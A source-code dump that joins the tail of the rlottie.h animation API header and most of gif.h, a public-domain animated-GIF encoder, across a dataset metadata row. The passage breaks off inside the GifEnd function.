* @param[in] cachePolicy whether to cache or not the model data.
* use only when need to explicit disabl caching for a
* particular resource. To disable caching at library level
* use @see configureModelCacheSize() instead.
*
* @return Animation object that can render the contents of the
* Lottie resource represented by JSON string data.
*
* @internal
*/
static std::unique_ptr<Animation>
loadFromData(std::string jsonData, const std::string &key,
const std::string &resourcePath="", bool cachePolicy=true);
/**
* @brief Constructs an animation object from JSON string data and update.
* the color properties using ColorFilter.
* @param[in] jsonData The JSON string data.
* @param[in] resourcePath the path will be used to search for external resource.
* @param[in] filter The color filter that will be applied for each color property
* found during parsing.
* @return Animation object that can render the contents of the
* Lottie resource represented by JSON string data.
*
* @internal
*/
static std::unique_ptr<Animation>
loadFromData(std::string jsonData, std::string resourcePath, ColorFilter filter);
/**
* @brief Returns default framerate of the Lottie resource.
*
* @return framerate of the Lottie resource
*
* @internal
*
*/
double frameRate() const;
/**
* @brief Returns total number of frames present in the Lottie resource.
*
* @return frame count of the Lottie resource.
*
* @note frame number starts with 0.
*
* @internal
*/
size_t totalFrame() const;
/**
* @brief Returns default viewport size of the Lottie resource.
*
* @param[out] width default width of the viewport.
* @param[out] height default height of the viewport.
*
* @internal
*
*/
void size(size_t &width, size_t &height) const;
/**
* @brief Returns total animation duration of Lottie resource in second.
* it uses totalFrame() and frameRate() to calculate the duration.
* duration = totalFrame() / frameRate().
*
* @return total animation duration in second.
* @retval 0 if the Lottie resource has no animation.
*
* @see totalFrame()
* @see frameRate()
*
* @internal
*/
double duration() const;
/**
* @brief Returns frame number for a given position.
* this function helps to map the position value retuned
* by the animator to a frame number in side the Lottie resource.
* frame_number = lerp(start_frame, endframe, pos);
*
* @param[in] pos normalized position value [0 ... 1]
*
* @return frame numer maps to the position value [startFrame .... endFrame]
*
* @internal
*/
size_t frameAtPos(double pos);
/**
* @brief Renders the content to surface Asynchronously.
* it gives a future in return to get the result of the
* rendering at a future point.
* To get best performance user has to start rendering as soon as
* it finds that content at {frameNo} has to be rendered and get the
* result from the future at the last moment when the surface is needed
* to draw into the screen.
*
*
* @param[in] frameNo Content corresponds to the @p frameNo needs to be drawn
* @param[in] surface Surface in which content will be drawn
* @param[in] keepAspectRatio whether to keep the aspect ratio while scaling the content.
*
* @return future that will hold the result when rendering finished.
*
* for Synchronus rendering @see renderSync
*
* @see Surface
* @internal
*/
std::future<Surface> render(size_t frameNo, Surface surface, bool keepAspectRatio=true);
/**
* @brief Renders the content to surface synchronously.
* for performance use the async rendering @see render
*
* @param[in] frameNo Content corresponds to the @p frameNo needs to be drawn
* @param[in] surface Surface in which content will be drawn
* @param[in] keepAspectRatio whether to keep the aspect ratio while scaling the content.
*
* @internal
*/
void renderSync(size_t frameNo, Surface surface, bool keepAspectRatio=true);
/**
* @brief Returns root layer of the composition updated with
* content of the Lottie resource at frame number @p frameNo.
*
* @param[in] frameNo Content corresponds to the @p frameNo needs to be extracted.
* @param[in] width content viewbox width
* @param[in] height content viewbox height
*
* @return Root layer node.
*
* @internal
*/
const LOTLayerNode * renderTree(size_t frameNo, size_t width, size_t height) const;
/**
* @brief Returns Composition Markers.
*
*
* @return returns MarkerList of the Composition.
*
* @see MarkerList
* @internal
*/
const MarkerList& markers() const;
/**
* @brief Returns Layer information{name, inFrame, outFrame} of all the child layers of the composition.
*
*
* @return List of Layer Information of the Composition.
*
* @see LayerInfoList
* @internal
*/
const LayerInfoList& layers() const;
/**
* @brief Sets property value for the specified {@link KeyPath}. This {@link KeyPath} can resolve
* to multiple contents. In that case, the callback's value will apply to all of them.
*
* Keypath should conatin object names separated by (.) and can handle globe(**) or wildchar(*).
*
* @usage
* To change fillcolor property of fill1 object in the layer1->group1->fill1 hirarchy to RED color
*
* player->setValue<rlottie::Property::FillColor>("layer1.group1.fill1", rlottie::Color(1, 0, 0);
*
* if all the color property inside group1 needs to be changed to GREEN color
*
* player->setValue<rlottie::Property::FillColor>("**.group1.**", rlottie::Color(0, 1, 0);
*
* @internal
*/
template<Property prop, typename AnyValue>
void setValue(const std::string &keypath, AnyValue value)
{
setValue(MapType<std::integral_constant<Property, prop>>{}, prop, keypath, value);
}
/**
* @brief default destructor
*
* @internal
*/
~Animation();
private:
void setValue(Color_Type, Property, const std::string &, Color);
void setValue(Float_Type, Property, const std::string &, float);
void setValue(Size_Type, Property, const std::string &, Size);
void setValue(Point_Type, Property, const std::string &, Point);
void setValue(Color_Type, Property, const std::string &, std::function<Color(const FrameInfo &)> &&);
void setValue(Float_Type, Property, const std::string &, std::function<float(const FrameInfo &)> &&);
void setValue(Size_Type, Property, const std::string &, std::function<Size(const FrameInfo &)> &&);
void setValue(Point_Type, Property, const std::string &, std::function<Point(const FrameInfo &)> &&);
/**
* @brief default constructor
*
* @internal
*/
Animation();
std::unique_ptr<AnimationImpl> d;
};
//Map Property to Value type
template<> struct MapType<std::integral_constant<Property, Property::FillColor>>: Color_Type{};
template<> struct MapType<std::integral_constant<Property, Property::StrokeColor>>: Color_Type{};
template<> struct MapType<std::integral_constant<Property, Property::FillOpacity>>: Float_Type{};
template<> struct MapType<std::integral_constant<Property, Property::StrokeOpacity>>: Float_Type{};
template<> struct MapType<std::integral_constant<Property, Property::StrokeWidth>>: Float_Type{};
template<> struct MapType<std::integral_constant<Property, Property::TrRotation>>: Float_Type{};
template<> struct MapType<std::integral_constant<Property, Property::TrOpacity>>: Float_Type{};
template<> struct MapType<std::integral_constant<Property, Property::TrAnchor>>: Point_Type{};
template<> struct MapType<std::integral_constant<Property, Property::TrPosition>>: Point_Type{};
template<> struct MapType<std::integral_constant<Property, Property::TrScale>>: Size_Type{};
} // namespace lotplayer
#endif // _RLOTTIE_H_
| 17,630
|
rlottie
|
h
|
en
|
c
|
code
|
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|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/example/gif.h
|
//
// gif.h
// by Charlie Tangora
// Public domain.
// Email me : ctangora -at- gmail -dot- com
//
// This file offers a simple, very limited way to create animated GIFs directly in code.
//
// Those looking for particular cleverness are likely to be disappointed; it's pretty
// much a straight-ahead implementation of the GIF format with optional Floyd-Steinberg
// dithering. (It does at least use delta encoding - only the changed portions of each
// frame are saved.)
//
// So resulting files are often quite large. The hope is that it will be handy nonetheless
// as a quick and easily-integrated way for programs to spit out animations.
//
// Only RGBA8 is currently supported as an input format. (The alpha is ignored.)
//
// If capturing a buffer with a bottom-left origin (such as OpenGL), define GIF_FLIP_VERT
// to automatically flip the buffer data when writing the image (the buffer itself is
// unchanged.
//
// USAGE:
// Create a GifWriter struct. Pass it to GifBegin() to initialize and write the header.
// Pass subsequent frames to GifWriteFrame().
// Finally, call GifEnd() to close the file handle and free memory.
//
#ifndef gif_h
#define gif_h
#include <stdio.h> // for FILE*
#include <string.h> // for memcpy and bzero
#include <stdint.h> // for integer typedefs
// Define these macros to hook into a custom memory allocator.
// TEMP_MALLOC and TEMP_FREE will only be called in stack fashion - frees in the reverse order of mallocs
// and any temp memory allocated by a function will be freed before it exits.
// MALLOC and FREE are used only by GifBegin and GifEnd respectively (to allocate a buffer the size of the image, which
// is used to find changed pixels for delta-encoding.)
#ifndef GIF_TEMP_MALLOC
#include <stdlib.h>
#define GIF_TEMP_MALLOC malloc
#endif
#ifndef GIF_TEMP_FREE
#include <stdlib.h>
#define GIF_TEMP_FREE free
#endif
#ifndef GIF_MALLOC
#include <stdlib.h>
#define GIF_MALLOC malloc
#endif
#ifndef GIF_FREE
#include <stdlib.h>
#define GIF_FREE free
#endif
const int kGifTransIndex = 0;
struct GifPalette
{
int bitDepth;
uint8_t r[256];
uint8_t g[256];
uint8_t b[256];
// k-d tree over RGB space, organized in heap fashion
// i.e. left child of node i is node i*2, right child is node i*2+1
// nodes 256-511 are implicitly the leaves, containing a color
uint8_t treeSplitElt[255];
uint8_t treeSplit[255];
};
// max, min, and abs functions
int GifIMax(int l, int r) { return l>r?l:r; }
int GifIMin(int l, int r) { return l<r?l:r; }
int GifIAbs(int i) { return i<0?-i:i; }
// walks the k-d tree to pick the palette entry for a desired color.
// Takes as in/out parameters the current best color and its error -
// only changes them if it finds a better color in its subtree.
// this is the major hotspot in the code at the moment.
void GifGetClosestPaletteColor(GifPalette* pPal, int r, int g, int b,
int32_t& bestInd, int32_t& bestDiff,
int treeRoot = 1)
{
// base case, reached the bottom of the tree
if(treeRoot > (1<<pPal->bitDepth)-1)
{
int ind = treeRoot-(1<<pPal->bitDepth);
if(ind == kGifTransIndex) return;
// check whether this color is better than the current winner
int r_err = r - ((int32_t)pPal->r[ind]);
int g_err = g - ((int32_t)pPal->g[ind]);
int b_err = b - ((int32_t)pPal->b[ind]);
int diff = GifIAbs(r_err)+GifIAbs(g_err)+GifIAbs(b_err);
if(diff < bestDiff)
{
bestInd = ind;
bestDiff = diff;
}
return;
}
// take the appropriate color (r, g, or b) for this node of the k-d tree
int comps[3]; comps[0] = r; comps[1] = g; comps[2] = b;
int splitComp = comps[pPal->treeSplitElt[treeRoot]];
int splitPos = pPal->treeSplit[treeRoot];
if(splitPos > splitComp)
{
// check the left subtree
GifGetClosestPaletteColor(pPal, r, g, b, bestInd, bestDiff, treeRoot*2);
if( bestDiff > splitPos - splitComp )
{
// cannot prove there's not a better value in the right subtree, check that too
GifGetClosestPaletteColor(pPal, r, g, b, bestInd, bestDiff, treeRoot*2+1);
}
}
else
{
GifGetClosestPaletteColor(pPal, r, g, b, bestInd, bestDiff, treeRoot*2+1);
if( bestDiff > splitComp - splitPos )
{
GifGetClosestPaletteColor(pPal, r, g, b, bestInd, bestDiff, treeRoot*2);
}
}
}
void GifSwapPixels(uint8_t* image, int pixA, int pixB)
{
uint8_t rA = image[pixA*4];
uint8_t gA = image[pixA*4+1];
uint8_t bA = image[pixA*4+2];
uint8_t aA = image[pixA*4+3];
uint8_t rB = image[pixB*4];
uint8_t gB = image[pixB*4+1];
uint8_t bB = image[pixB*4+2];
uint8_t aB = image[pixA*4+3];
image[pixA*4] = rB;
image[pixA*4+1] = gB;
image[pixA*4+2] = bB;
image[pixA*4+3] = aB;
image[pixB*4] = rA;
image[pixB*4+1] = gA;
image[pixB*4+2] = bA;
image[pixB*4+3] = aA;
}
// just the partition operation from quicksort
int GifPartition(uint8_t* image, const int left, const int right, const int elt, int pivotIndex)
{
const int pivotValue = image[(pivotIndex)*4+elt];
GifSwapPixels(image, pivotIndex, right-1);
int storeIndex = left;
bool split = 0;
for(int ii=left; ii<right-1; ++ii)
{
int arrayVal = image[ii*4+elt];
if( arrayVal < pivotValue )
{
GifSwapPixels(image, ii, storeIndex);
++storeIndex;
}
else if( arrayVal == pivotValue )
{
if(split)
{
GifSwapPixels(image, ii, storeIndex);
++storeIndex;
}
split = !split;
}
}
GifSwapPixels(image, storeIndex, right-1);
return storeIndex;
}
// Perform an incomplete sort, finding all elements above and below the desired median
void GifPartitionByMedian(uint8_t* image, int left, int right, int com, int neededCenter)
{
if(left < right-1)
{
int pivotIndex = left + (right-left)/2;
pivotIndex = GifPartition(image, left, right, com, pivotIndex);
// Only "sort" the section of the array that contains the median
if(pivotIndex > neededCenter)
GifPartitionByMedian(image, left, pivotIndex, com, neededCenter);
if(pivotIndex < neededCenter)
GifPartitionByMedian(image, pivotIndex+1, right, com, neededCenter);
}
}
// Builds a palette by creating a balanced k-d tree of all pixels in the image
void GifSplitPalette(uint8_t* image, int numPixels, int firstElt, int lastElt, int splitElt, int splitDist, int treeNode, bool buildForDither, GifPalette* pal)
{
if(lastElt <= firstElt || numPixels == 0)
return;
// base case, bottom of the tree
if(lastElt == firstElt+1)
{
if(buildForDither)
{
// Dithering needs at least one color as dark as anything
// in the image and at least one brightest color -
// otherwise it builds up error and produces strange artifacts
if( firstElt == 1 )
{
// special case: the darkest color in the image
uint32_t r=255, g=255, b=255;
for(int ii=0; ii<numPixels; ++ii)
{
r = (uint32_t)GifIMin((int32_t)r, image[ii * 4 + 0]);
g = (uint32_t)GifIMin((int32_t)g, image[ii * 4 + 1]);
b = (uint32_t)GifIMin((int32_t)b, image[ii * 4 + 2]);
}
pal->r[firstElt] = (uint8_t)r;
pal->g[firstElt] = (uint8_t)g;
pal->b[firstElt] = (uint8_t)b;
return;
}
if( firstElt == (1 << pal->bitDepth)-1 )
{
// special case: the lightest color in the image
uint32_t r=0, g=0, b=0;
for(int ii=0; ii<numPixels; ++ii)
{
r = (uint32_t)GifIMax((int32_t)r, image[ii * 4 + 0]);
g = (uint32_t)GifIMax((int32_t)g, image[ii * 4 + 1]);
b = (uint32_t)GifIMax((int32_t)b, image[ii * 4 + 2]);
}
pal->r[firstElt] = (uint8_t)r;
pal->g[firstElt] = (uint8_t)g;
pal->b[firstElt] = (uint8_t)b;
return;
}
}
// otherwise, take the average of all colors in this subcube
uint64_t r=0, g=0, b=0;
for(int ii=0; ii<numPixels; ++ii)
{
r += image[ii*4+0];
g += image[ii*4+1];
b += image[ii*4+2];
}
r += (uint64_t)numPixels / 2; // round to nearest
g += (uint64_t)numPixels / 2;
b += (uint64_t)numPixels / 2;
r /= (uint64_t)numPixels;
g /= (uint64_t)numPixels;
b /= (uint64_t)numPixels;
pal->r[firstElt] = (uint8_t)r;
pal->g[firstElt] = (uint8_t)g;
pal->b[firstElt] = (uint8_t)b;
return;
}
// Find the axis with the largest range
int minR = 255, maxR = 0;
int minG = 255, maxG = 0;
int minB = 255, maxB = 0;
for(int ii=0; ii<numPixels; ++ii)
{
int r = image[ii*4+0];
int g = image[ii*4+1];
int b = image[ii*4+2];
if(r > maxR) maxR = r;
if(r < minR) minR = r;
if(g > maxG) maxG = g;
if(g < minG) minG = g;
if(b > maxB) maxB = b;
if(b < minB) minB = b;
}
int rRange = maxR - minR;
int gRange = maxG - minG;
int bRange = maxB - minB;
// and split along that axis. (incidentally, this means this isn't a "proper" k-d tree but I don't know what else to call it)
int splitCom = 1;
if(bRange > gRange) splitCom = 2;
if(rRange > bRange && rRange > gRange) splitCom = 0;
int subPixelsA = numPixels * (splitElt - firstElt) / (lastElt - firstElt);
int subPixelsB = numPixels-subPixelsA;
GifPartitionByMedian(image, 0, numPixels, splitCom, subPixelsA);
pal->treeSplitElt[treeNode] = (uint8_t)splitCom;
pal->treeSplit[treeNode] = image[subPixelsA*4+splitCom];
GifSplitPalette(image, subPixelsA, firstElt, splitElt, splitElt-splitDist, splitDist/2, treeNode*2, buildForDither, pal);
GifSplitPalette(image+subPixelsA*4, subPixelsB, splitElt, lastElt, splitElt+splitDist, splitDist/2, treeNode*2+1, buildForDither, pal);
}
// Finds all pixels that have changed from the previous image and
// moves them to the fromt of th buffer.
// This allows us to build a palette optimized for the colors of the
// changed pixels only.
int GifPickChangedPixels( const uint8_t* lastFrame, uint8_t* frame, int numPixels )
{
int numChanged = 0;
uint8_t* writeIter = frame;
for (int ii=0; ii<numPixels; ++ii)
{
if(lastFrame[0] != frame[0] ||
lastFrame[1] != frame[1] ||
lastFrame[2] != frame[2])
{
writeIter[0] = frame[0];
writeIter[1] = frame[1];
writeIter[2] = frame[2];
++numChanged;
writeIter += 4;
}
lastFrame += 4;
frame += 4;
}
return numChanged;
}
// Creates a palette by placing all the image pixels in a k-d tree and then averaging the blocks at the bottom.
// This is known as the "modified median split" technique
void GifMakePalette( const uint8_t* lastFrame, const uint8_t* nextFrame, uint32_t width, uint32_t height, int bitDepth, bool buildForDither, GifPalette* pPal )
{
pPal->bitDepth = bitDepth;
// SplitPalette is destructive (it sorts the pixels by color) so
// we must create a copy of the image for it to destroy
size_t imageSize = (size_t)(width * height * 4 * sizeof(uint8_t));
uint8_t* destroyableImage = (uint8_t*)GIF_TEMP_MALLOC(imageSize);
memcpy(destroyableImage, nextFrame, imageSize);
int numPixels = (int)(width * height);
if(lastFrame)
numPixels = GifPickChangedPixels(lastFrame, destroyableImage, numPixels);
const int lastElt = 1 << bitDepth;
const int splitElt = lastElt/2;
const int splitDist = splitElt/2;
GifSplitPalette(destroyableImage, numPixels, 1, lastElt, splitElt, splitDist, 1, buildForDither, pPal);
GIF_TEMP_FREE(destroyableImage);
// add the bottom node for the transparency index
pPal->treeSplit[1 << (bitDepth-1)] = 0;
pPal->treeSplitElt[1 << (bitDepth-1)] = 0;
pPal->r[0] = pPal->g[0] = pPal->b[0] = 0;
}
// Implements Floyd-Steinberg dithering, writes palette value to alpha
void GifDitherImage( const uint8_t* lastFrame, const uint8_t* nextFrame, uint8_t* outFrame, uint32_t width, uint32_t height, GifPalette* pPal )
{
int numPixels = (int)(width * height);
// quantPixels initially holds color*256 for all pixels
// The extra 8 bits of precision allow for sub-single-color error values
// to be propagated
int32_t *quantPixels = (int32_t *)GIF_TEMP_MALLOC(sizeof(int32_t) * (size_t)numPixels * 4);
for( int ii=0; ii<numPixels*4; ++ii )
{
uint8_t pix = nextFrame[ii];
int32_t pix16 = int32_t(pix) * 256;
quantPixels[ii] = pix16;
}
for( uint32_t yy=0; yy<height; ++yy )
{
for( uint32_t xx=0; xx<width; ++xx )
{
int32_t* nextPix = quantPixels + 4*(yy*width+xx);
const uint8_t* lastPix = lastFrame? lastFrame + 4*(yy*width+xx) : NULL;
// Compute the colors we want (rounding to nearest)
int32_t rr = (nextPix[0] + 127) / 256;
int32_t gg = (nextPix[1] + 127) / 256;
int32_t bb = (nextPix[2] + 127) / 256;
// if it happens that we want the color from last frame, then just write out
// a transparent pixel
if( lastFrame &&
lastPix[0] == rr &&
lastPix[1] == gg &&
lastPix[2] == bb )
{
nextPix[0] = rr;
nextPix[1] = gg;
nextPix[2] = bb;
nextPix[3] = kGifTransIndex;
continue;
}
int32_t bestDiff = 1000000;
int32_t bestInd = kGifTransIndex;
// Search the palete
GifGetClosestPaletteColor(pPal, rr, gg, bb, bestInd, bestDiff);
// Write the result to the temp buffer
int32_t r_err = nextPix[0] - int32_t(pPal->r[bestInd]) * 256;
int32_t g_err = nextPix[1] - int32_t(pPal->g[bestInd]) * 256;
int32_t b_err = nextPix[2] - int32_t(pPal->b[bestInd]) * 256;
nextPix[0] = pPal->r[bestInd];
nextPix[1] = pPal->g[bestInd];
nextPix[2] = pPal->b[bestInd];
nextPix[3] = bestInd;
// Propagate the error to the four adjacent locations
// that we haven't touched yet
int quantloc_7 = (int)(yy * width + xx + 1);
int quantloc_3 = (int)(yy * width + width + xx - 1);
int quantloc_5 = (int)(yy * width + width + xx);
int quantloc_1 = (int)(yy * width + width + xx + 1);
if(quantloc_7 < numPixels)
{
int32_t* pix7 = quantPixels+4*quantloc_7;
pix7[0] += GifIMax( -pix7[0], r_err * 7 / 16 );
pix7[1] += GifIMax( -pix7[1], g_err * 7 / 16 );
pix7[2] += GifIMax( -pix7[2], b_err * 7 / 16 );
}
if(quantloc_3 < numPixels)
{
int32_t* pix3 = quantPixels+4*quantloc_3;
pix3[0] += GifIMax( -pix3[0], r_err * 3 / 16 );
pix3[1] += GifIMax( -pix3[1], g_err * 3 / 16 );
pix3[2] += GifIMax( -pix3[2], b_err * 3 / 16 );
}
if(quantloc_5 < numPixels)
{
int32_t* pix5 = quantPixels+4*quantloc_5;
pix5[0] += GifIMax( -pix5[0], r_err * 5 / 16 );
pix5[1] += GifIMax( -pix5[1], g_err * 5 / 16 );
pix5[2] += GifIMax( -pix5[2], b_err * 5 / 16 );
}
if(quantloc_1 < numPixels)
{
int32_t* pix1 = quantPixels+4*quantloc_1;
pix1[0] += GifIMax( -pix1[0], r_err / 16 );
pix1[1] += GifIMax( -pix1[1], g_err / 16 );
pix1[2] += GifIMax( -pix1[2], b_err / 16 );
}
}
}
// Copy the palettized result to the output buffer
for( int ii=0; ii<numPixels*4; ++ii )
{
outFrame[ii] = (uint8_t)quantPixels[ii];
}
GIF_TEMP_FREE(quantPixels);
}
// Picks palette colors for the image using simple thresholding, no dithering
void GifThresholdImage( const uint8_t* lastFrame, const uint8_t* nextFrame, uint8_t* outFrame, uint32_t width, uint32_t height, GifPalette* pPal )
{
uint32_t numPixels = width*height;
for( uint32_t ii=0; ii<numPixels; ++ii )
{
// if a previous color is available, and it matches the current color,
// set the pixel to transparent
if(lastFrame &&
lastFrame[0] == nextFrame[0] &&
lastFrame[1] == nextFrame[1] &&
lastFrame[2] == nextFrame[2])
{
outFrame[0] = lastFrame[0];
outFrame[1] = lastFrame[1];
outFrame[2] = lastFrame[2];
outFrame[3] = kGifTransIndex;
}
else
{
// palettize the pixel
int32_t bestDiff = 1000000;
int32_t bestInd = 1;
GifGetClosestPaletteColor(pPal, nextFrame[0], nextFrame[1], nextFrame[2], bestInd, bestDiff);
// Write the resulting color to the output buffer
outFrame[0] = pPal->r[bestInd];
outFrame[1] = pPal->g[bestInd];
outFrame[2] = pPal->b[bestInd];
outFrame[3] = (uint8_t)bestInd;
}
if(lastFrame) lastFrame += 4;
outFrame += 4;
nextFrame += 4;
}
}
// Simple structure to write out the LZW-compressed portion of the image
// one bit at a time
struct GifBitStatus
{
uint8_t bitIndex; // how many bits in the partial byte written so far
uint8_t byte; // current partial byte
uint32_t chunkIndex;
uint8_t chunk[256]; // bytes are written in here until we have 256 of them, then written to the file
};
// insert a single bit
void GifWriteBit( GifBitStatus& stat, uint32_t bit )
{
bit = bit & 1;
bit = bit << stat.bitIndex;
stat.byte |= bit;
++stat.bitIndex;
if( stat.bitIndex > 7 )
{
// move the newly-finished byte to the chunk buffer
stat.chunk[stat.chunkIndex++] = stat.byte;
// and start a new byte
stat.bitIndex = 0;
stat.byte = 0;
}
}
// write all bytes so far to the file
void GifWriteChunk( FILE* f, GifBitStatus& stat )
{
fputc((int)stat.chunkIndex, f);
fwrite(stat.chunk, 1, stat.chunkIndex, f);
stat.bitIndex = 0;
stat.byte = 0;
stat.chunkIndex = 0;
}
void GifWriteCode( FILE* f, GifBitStatus& stat, uint32_t code, uint32_t length )
{
for( uint32_t ii=0; ii<length; ++ii )
{
GifWriteBit(stat, code);
code = code >> 1;
if( stat.chunkIndex == 255 )
{
GifWriteChunk(f, stat);
}
}
}
// The LZW dictionary is a 256-ary tree constructed as the file is encoded,
// this is one node
struct GifLzwNode
{
uint16_t m_next[256];
};
// write a 256-color (8-bit) image palette to the file
void GifWritePalette( const GifPalette* pPal, FILE* f )
{
fputc(0, f); // first color: transparency
fputc(0, f);
fputc(0, f);
for(int ii=1; ii<(1 << pPal->bitDepth); ++ii)
{
uint32_t r = pPal->r[ii];
uint32_t g = pPal->g[ii];
uint32_t b = pPal->b[ii];
fputc((int)r, f);
fputc((int)g, f);
fputc((int)b, f);
}
}
// write the image header, LZW-compress and write out the image
void GifWriteLzwImage(FILE* f, uint8_t* image, uint32_t left, uint32_t top, uint32_t width, uint32_t height, uint32_t delay, GifPalette* pPal)
{
// graphics control extension
fputc(0x21, f);
fputc(0xf9, f);
fputc(0x04, f);
fputc(0x05, f); // leave prev frame in place, this frame has transparency
fputc(delay & 0xff, f);
fputc((delay >> 8) & 0xff, f);
fputc(kGifTransIndex, f); // transparent color index
fputc(0, f);
fputc(0x2c, f); // image descriptor block
fputc(left & 0xff, f); // corner of image in canvas space
fputc((left >> 8) & 0xff, f);
fputc(top & 0xff, f);
fputc((top >> 8) & 0xff, f);
fputc(width & 0xff, f); // width and height of image
fputc((width >> 8) & 0xff, f);
fputc(height & 0xff, f);
fputc((height >> 8) & 0xff, f);
//fputc(0, f); // no local color table, no transparency
//fputc(0x80, f); // no local color table, but transparency
fputc(0x80 + pPal->bitDepth-1, f); // local color table present, 2 ^ bitDepth entries
GifWritePalette(pPal, f);
const int minCodeSize = pPal->bitDepth;
const uint32_t clearCode = 1 << pPal->bitDepth;
fputc(minCodeSize, f); // min code size 8 bits
GifLzwNode* codetree = (GifLzwNode*)GIF_TEMP_MALLOC(sizeof(GifLzwNode)*4096);
memset(codetree, 0, sizeof(GifLzwNode)*4096);
int32_t curCode = -1;
uint32_t codeSize = (uint32_t)minCodeSize + 1;
uint32_t maxCode = clearCode+1;
GifBitStatus stat;
stat.byte = 0;
stat.bitIndex = 0;
stat.chunkIndex = 0;
GifWriteCode(f, stat, clearCode, codeSize); // start with a fresh LZW dictionary
for(uint32_t yy=0; yy<height; ++yy)
{
for(uint32_t xx=0; xx<width; ++xx)
{
#ifdef GIF_FLIP_VERT
// bottom-left origin image (such as an OpenGL capture)
uint8_t nextValue = image[((height-1-yy)*width+xx)*4+3];
#else
// top-left origin
uint8_t nextValue = image[(yy*width+xx)*4+3];
#endif
// "loser mode" - no compression, every single code is followed immediately by a clear
//WriteCode( f, stat, nextValue, codeSize );
//WriteCode( f, stat, 256, codeSize );
if( curCode < 0 )
{
// first value in a new run
curCode = nextValue;
}
else if( codetree[curCode].m_next[nextValue] )
{
// current run already in the dictionary
curCode = codetree[curCode].m_next[nextValue];
}
else
{
// finish the current run, write a code
GifWriteCode(f, stat, (uint32_t)curCode, codeSize);
// insert the new run into the dictionary
codetree[curCode].m_next[nextValue] = (uint16_t)++maxCode;
if( maxCode >= (1ul << codeSize) )
{
// dictionary entry count has broken a size barrier,
// we need more bits for codes
codeSize++;
}
if( maxCode == 4095 )
{
// the dictionary is full, clear it out and begin anew
GifWriteCode(f, stat, clearCode, codeSize); // clear tree
memset(codetree, 0, sizeof(GifLzwNode)*4096);
codeSize = (uint32_t)(minCodeSize + 1);
maxCode = clearCode+1;
}
curCode = nextValue;
}
}
}
// compression footer
GifWriteCode(f, stat, (uint32_t)curCode, codeSize);
GifWriteCode(f, stat, clearCode, codeSize);
GifWriteCode(f, stat, clearCode + 1, (uint32_t)minCodeSize + 1);
// write out the last partial chunk
while( stat.bitIndex ) GifWriteBit(stat, 0);
if( stat.chunkIndex ) GifWriteChunk(f, stat);
fputc(0, f); // image block terminator
GIF_TEMP_FREE(codetree);
}
struct GifWriter
{
FILE* f;
uint8_t* oldImage;
bool firstFrame;
};
// Creates a gif file.
// The input GIFWriter is assumed to be uninitialized.
// The delay value is the time between frames in hundredths of a second - note that not all viewers pay much attention to this value.
bool GifBegin( GifWriter* writer, const char* filename, uint32_t width, uint32_t height, uint32_t delay, int32_t bitDepth = 8, bool dither = false )
{
(void)bitDepth; (void)dither; // Mute "Unused argument" warnings
#if defined(_MSC_VER) && (_MSC_VER >= 1400)
writer->f = 0;
fopen_s(&writer->f, filename, "wb");
#else
writer->f = fopen(filename, "wb");
#endif
if(!writer->f) return false;
writer->firstFrame = true;
// allocate
writer->oldImage = (uint8_t*)GIF_MALLOC(width*height*4);
fputs("GIF89a", writer->f);
// screen descriptor
fputc(width & 0xff, writer->f);
fputc((width >> 8) & 0xff, writer->f);
fputc(height & 0xff, writer->f);
fputc((height >> 8) & 0xff, writer->f);
fputc(0xf0, writer->f); // there is an unsorted global color table of 2 entries
fputc(0, writer->f); // background color
fputc(0, writer->f); // pixels are square (we need to specify this because it's 1989)
// now the "global" palette (really just a dummy palette)
// color 0: black
fputc(0, writer->f);
fputc(0, writer->f);
fputc(0, writer->f);
// color 1: also black
fputc(0, writer->f);
fputc(0, writer->f);
fputc(0, writer->f);
if( delay != 0 )
{
// animation header
fputc(0x21, writer->f); // extension
fputc(0xff, writer->f); // application specific
fputc(11, writer->f); // length 11
fputs("NETSCAPE2.0", writer->f); // yes, really
fputc(3, writer->f); // 3 bytes of NETSCAPE2.0 data
fputc(1, writer->f); // JUST BECAUSE
fputc(0, writer->f); // loop infinitely (byte 0)
fputc(0, writer->f); // loop infinitely (byte 1)
fputc(0, writer->f); // block terminator
}
return true;
}
// Writes out a new frame to a GIF in progress.
// The GIFWriter should have been created by GIFBegin.
// AFAIK, it is legal to use different bit depths for different frames of an image -
// this may be handy to save bits in animations that don't change much.
bool GifWriteFrame( GifWriter* writer, const uint8_t* image, uint32_t width, uint32_t height, uint32_t delay, int bitDepth = 8, bool dither = false )
{
if(!writer->f) return false;
const uint8_t* oldImage = writer->firstFrame? NULL : writer->oldImage;
writer->firstFrame = false;
GifPalette pal;
GifMakePalette((dither? NULL : oldImage), image, width, height, bitDepth, dither, &pal);
if(dither)
GifDitherImage(oldImage, image, writer->oldImage, width, height, &pal);
else
GifThresholdImage(oldImage, image, writer->oldImage, width, height, &pal);
GifWriteLzwImage(writer->f, writer->oldImage, 0, 0, width, height, delay, &pal);
return true;
}
// Writes the EOF code, closes the file handle, and frees temp memory used by a GIF.
// Many if not most viewers will still display a GIF properly if the EOF code is missing,
// but it's still a good idea to write it out.
bool GifEnd( GifWriter* writer )
{
if(!writer->f) return false;
